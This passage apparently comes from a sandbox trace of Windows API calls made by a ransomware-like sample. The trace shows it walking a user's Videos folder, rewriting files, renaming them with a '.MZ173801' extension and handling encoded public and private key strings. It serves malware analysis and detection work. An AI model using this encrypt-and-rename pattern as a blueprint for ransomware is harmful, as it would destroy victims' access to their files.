(normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\zuoadzct-cgax7.mp4")) returned 0x20 [0165.599] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\ZuoadzcT-CGAX7.mp4", dwFileAttributes=0x80) returned 1 [0165.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0165.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0165.601] GetCurrentThreadId () returned 0xab4 [0165.601] GetCurrentThreadId () returned 0xab4 [0165.602] GetCurrentThreadId () returned 0xab4 [0165.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0165.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0165.602] GetCurrentThreadId () returned 0xab4 [0165.602] GetCurrentThreadId () returned 0xab4 [0165.602] GetCurrentThreadId () returned 0xab4 [0165.602] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\ZuoadzcT-CGAX7.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\zuoadzct-cgax7.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0165.602] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0165.603] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0165.603] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0xd194 [0165.603] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0165.603] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xd194, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0xd194, lpOverlapped=0x0) returned 1 [0165.604] CloseHandle (hObject=0x2f8) returned 1 [0165.605] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\ZuoadzcT-CGAX7.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\zuoadzct-cgax7.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0165.606] WriteFile (in: hFile=0x2f8, lpBuffer=0x24ae040*, nNumberOfBytesToWrite=0xd194, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24ae040*, lpNumberOfBytesWritten=0x19f758*=0xd194, lpOverlapped=0x0) returned 1 [0165.608] CloseHandle (hObject=0x2f8) returned 1 [0165.724] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\ZuoadzcT-CGAX7.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\zuoadzct-cgax7.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\ZuoadzcT-CGAX7.mp4.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\zuoadzct-cgax7.mp4.mz173801")) returned 1 [0165.725] GetCurrentThreadId () returned 0xab4 [0165.725] GetCurrentThreadId () returned 0xab4 [0165.725] GetCurrentThreadId () returned 0xab4 [0165.725] GetCurrentThreadId () returned 0xab4 [0165.725] GetCurrentThreadId () returned 0xab4 [0165.725] GetCurrentThreadId () returned 0xab4 [0165.725] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22282590, ftCreationTime.dwHighDateTime=0x1d5e174, ftLastAccessTime.dwLowDateTime=0xa4f1fdd0, ftLastAccessTime.dwHighDateTime=0x1d5e155, ftLastWriteTime.dwLowDateTime=0xa4f1fdd0, ftLastWriteTime.dwHighDateTime=0x1d5e155, nFileSizeHigh=0x0, nFileSizeLow=0xd194, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="ZuoadzcT-CGAX7.mp4", cAlternateFileName="ZUOADZ~1.MP4")) returned 0 [0165.725] GetLastError () returned 0x12 [0165.725] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0165.726] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78377b10, ftCreationTime.dwHighDateTime=0x1d5e431, ftLastAccessTime.dwLowDateTime=0x8cec0301, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8cec0301, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0165.726] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0165.726] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0165.726] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78377b10, ftCreationTime.dwHighDateTime=0x1d5e431, ftLastAccessTime.dwLowDateTime=0x8cec0301, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8cec0301, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0165.726] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0165.726] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0165.726] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c06680, ftCreationTime.dwHighDateTime=0x1d5f093, ftLastAccessTime.dwLowDateTime=0xcd876bf0, ftLastAccessTime.dwHighDateTime=0x1d5e0be, ftLastWriteTime.dwLowDateTime=0x8cb2ca1f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x8041, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="-a8H16g7Z8.flv.MZ173801", cAlternateFileName="-A8H16~1.MZ1")) returned 1 [0165.726] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0165.726] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0165.726] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2097ba00, ftCreationTime.dwHighDateTime=0x1d5e3c3, ftLastAccessTime.dwLowDateTime=0x7f391000, ftLastAccessTime.dwHighDateTime=0x1d5e48f, ftLastWriteTime.dwLowDateTime=0x7f391000, ftLastWriteTime.dwHighDateTime=0x1d5e48f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="13_UhdLxbGNJHYgey", cAlternateFileName="13_UHD~1")) returned 1 [0165.726] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0165.726] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0165.726] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2097ba00, ftCreationTime.dwHighDateTime=0x1d5e3c3, ftLastAccessTime.dwLowDateTime=0x7f391000, ftLastAccessTime.dwHighDateTime=0x1d5e48f, ftLastWriteTime.dwLowDateTime=0x7f391000, ftLastWriteTime.dwHighDateTime=0x1d5e48f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0165.726] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2097ba00, ftCreationTime.dwHighDateTime=0x1d5e3c3, ftLastAccessTime.dwLowDateTime=0x7f391000, ftLastAccessTime.dwHighDateTime=0x1d5e48f, ftLastWriteTime.dwLowDateTime=0x7f391000, ftLastWriteTime.dwHighDateTime=0x1d5e48f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0165.727] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f63f290, ftCreationTime.dwHighDateTime=0x1d5e8bf, ftLastAccessTime.dwLowDateTime=0x80fa1340, ftLastAccessTime.dwHighDateTime=0x1d5effb, ftLastWriteTime.dwLowDateTime=0x80fa1340, ftLastWriteTime.dwHighDateTime=0x1d5effb, nFileSizeHigh=0x0, nFileSizeLow=0xe673, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="0opQH4AAr9-8.flv", cAlternateFileName="0OPQH4~1.FLV")) returned 1 [0165.727] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0165.727] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0165.727] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\0opQH4AAr9-8.flv" 